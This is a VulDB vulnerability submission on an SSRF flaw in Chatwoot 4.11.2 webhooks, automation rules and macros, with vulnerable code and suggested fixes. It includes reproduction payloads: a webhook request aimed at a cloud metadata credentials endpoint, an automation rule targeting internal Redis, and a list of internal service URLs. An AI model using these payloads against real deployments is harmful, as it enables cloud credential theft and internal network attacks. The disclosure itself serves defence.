| Titre | Chatwoot 4.11.2 Server-Side Request Forgery |
|---|
| Description | ## Summary
Users with appropriate roles can define webhook URLs (via Webhooks, Automation Rules, and Macros) that the server POSTs to on events. The Webhook model validates URL format but does NOT restrict URLs pointing to internal/private IP addresses. The webhook trigger executes `RestClient::Request` without any SSRF protection.
## Affected Component
- **File:** `app/models/webhook.rb` — URL validation (line 25)
- **File:** `lib/webhooks/trigger.rb` — `perform_request` (lines 33–41)
- **File:** `app/services/automation_rules/action_service.rb` — `send_webhook_event` (line 38–40)
- **File:** `app/services/macros/execution_service.rb` — `send_webhook_event` (line 66–68)
- **Version tested:** v4.11.2
## CWE
CWE-918: Server-Side Request Forgery (SSRF)
## Description
The Webhook model validates the URL format but not its destination:
```ruby
# app/models/webhook.rb, line 25
validates :url, uniqueness: { scope: [:account_id] }, format: URI::DEFAULT_PARSER.make_regexp(%w[http https])
```
This regex check accepts any HTTP/HTTPS URL including internal addresses.
The `Webhooks::Trigger` class executes the request without SSRF protection:
```ruby
# lib/webhooks/trigger.rb, lines 33-41
def perform_request
body = @payload.to_json
RestClient::Request.execute(
method: :post,
url: @url, # <-- User-controlled URL, no IP filtering
payload: body,
headers: request_headers(body),
timeout: webhook_timeout
)
end
```
Automation rules allow any user who can create automations to define webhook URLs:
```ruby
# app/services/automation_rules/action_service.rb, lines 38-40
def send_webhook_event(webhook_url)
payload = @conversation.webhook_data.merge(event: "automation_event.#{@rule.event_name}")
WebhookJob.perform_later(webhook_url[0], payload)
end
```
The webhook payload includes sensitive data: conversation content, contact details (name, email, phone), agent information, and account metadata.
## Steps to Reproduce
**Via Webhook API:**
1. Authenticate as a user with webhook creation permissions.
2. Create a webhook targeting internal infrastructure:
```http
POST /api/v1/accounts/{account_id}/webhooks HTTP/1.1
api_access_token: <token>
Content-Type: application/json
{
"url": "http://x.x.x.x/latest/meta-data/iam/security-credentials/",
"subscriptions": ["message_created"]
}
```
3. The webhook is created successfully (URL format is valid HTTP).
4. When a new message is created, the Chatwoot server POSTs to the AWS metadata endpoint.
**Via Automation Rule:**
1. Create an automation rule with a `send_webhook_event` action:
```json
{
"name": "SSRF Probe",
"event_name": "message_created",
"conditions": [{"attribute_key": "status", "filter_operator": "equal_to", "values": ["open"], "query_operator": null}],
"actions": [{"action_name": "send_webhook_event", "action_params": ["http://127.0.0.1:6379/"]}]
}
```
2. On every new message, the server sends a POST to the internal Redis instance.
**Alternative targets:**
- `http://127.0.0.1:5432/` — PostgreSQL
- `http://kubernetes.default.svc/api/v1/namespaces` — Kubernetes API
- `http://127.0.0.1:3000/super_admin/` — Chatwoot super admin panel
- `http://x.x.x.x/computeMetadata/v1/` — GCP metadata (with header)
## Impact
- **Cloud credential theft**: Access AWS/GCP/Azure metadata endpoints to obtain IAM credentials.
- **Internal network scanning**: Probe internal services and ports from the Chatwoot server.
- **Internal service interaction**: Send POST requests with JSON payloads to internal APIs.
- **Data exfiltration**: Sensitive conversation data (customer PII, messages) is included in the webhook payload sent to the attacker's endpoint.
- **Lateral movement**: Use SSRF as a pivot point to attack other internal services.
## Suggested Fix
1. **Validate webhook URLs against private IP ranges** at both save time and execution time:
```ruby
# app/models/webhook.rb
validate :url_not_private
def url_not_private
resolved = Resolv.getaddress(URI.parse(url).host) rescue nil
if resolved && IPAddr.new(resolved).private?
errors.add(:url, 'cannot point to private/internal IP addresses')
end
end
```
2. **Use an SSRF-safe HTTP client** in `Webhooks::Trigger`:
```ruby
# lib/webhooks/trigger.rb
require 'ssrf_filter'
def perform_request
body = @payload.to_json
SsrfFilter.post(@url, body: body, headers: request_headers(body))
end
```
3. Apply the same protection to automation rule and macro webhook actions.
4. Consider maintaining an allow-list of permitted webhook URL patterns for high-security deployments.
## References
- [CWE-918: Server-Side Request Forgery](https://cwe.mitre.org/data/definitions/918.html)
- [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html) |
|---|
| Utilisateur | Ghufran Khan (UID 95493) |
|---|
| Soumission | 14/03/2026 21:25 (il y a 23 jours) |
|---|
| Modérer | 31/03/2026 10:48 (17 days later) |
|---|
| Statut | Accepté |
|---|
| Entrée VulDB | 354333 [chatwoot jusqu’à 4.11.2 Webhook API lib/webhooks/trigger.rb Webhooks::Trigger url élévation de privilèges] |
|---|
| Points | 17 |
|---|